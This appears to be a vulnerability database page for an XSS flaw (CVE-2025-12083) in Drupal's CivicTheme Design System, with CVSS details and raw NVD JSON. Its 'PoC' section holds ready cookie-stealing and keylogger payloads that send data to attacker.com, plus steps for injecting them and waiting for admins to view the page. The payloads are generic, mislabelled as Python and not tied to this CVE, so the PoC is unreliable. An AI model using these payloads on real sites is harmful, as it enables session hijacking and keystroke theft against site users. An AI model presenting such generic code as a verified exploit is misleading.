Security Vulnerability Report
中文
CVE-2025-12083 CVSS 6.1 MEDIUM

CVE-2025-12083

Published: 2025-10-30 00:15:35
Last Modified: 2025-12-03 20:08:49

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal CivicTheme Design System allows Cross-Site Scripting (XSS).This issue affects CivicTheme Design System: from 0.0.0 before 1.12.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:salsa.digital:civictheme_design_system:*:*:*:*:*:drupal:*:* - VULNERABLE
CivicTheme Design System < 1.12.0
CivicTheme Design System 0.0.0 - 1.11.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12083 XSS PoC --> <!-- Stored XSS in Drupal CivicTheme Design System --> <!-- Method 1: Using a crafted form submission --> <script> // Malicious script that steals session cookies var cookies = document.cookie; var attacker_server = 'https://attacker.com/steal?c=' + encodeURIComponent(cookies); new Image().src = attacker_server; // Alternative: Keylogger document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?k=' + e.key); }); </script> <!-- Method 2: Event handler-based XSS --> <img src=x onerror="fetch('https://attacker.com/cookie?c='+document.cookie)"> <!-- Method 3: DOM-based XSS payload --> <svg/onload=fetch('https://attacker.com/exfil?data='+btoa(document.cookie))> <!-- Usage: 1. Inject the payload through Drupal forms using CivicTheme components 2. Wait for admin or other users to view the page 3. Malicious script executes in victim's browser -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12083", "sourceIdentifier": "[email protected]", "published": "2025-10-30T00:15:34.660", "lastModified": "2025-12-03T20:08:49.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal CivicTheme Design System allows Cross-Site Scripting (XSS).This issue affects CivicTheme Design System: from 0.0.0 before 1.12.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salsa.digital:civictheme_design_system:*:*:*:*:*:drupal:*:*", "versionEndIncluding": "1.12.0", "matchCriteriaId": "A34F2B61-D3D7-4EE3-BA76-F0788271CB02"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-113", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}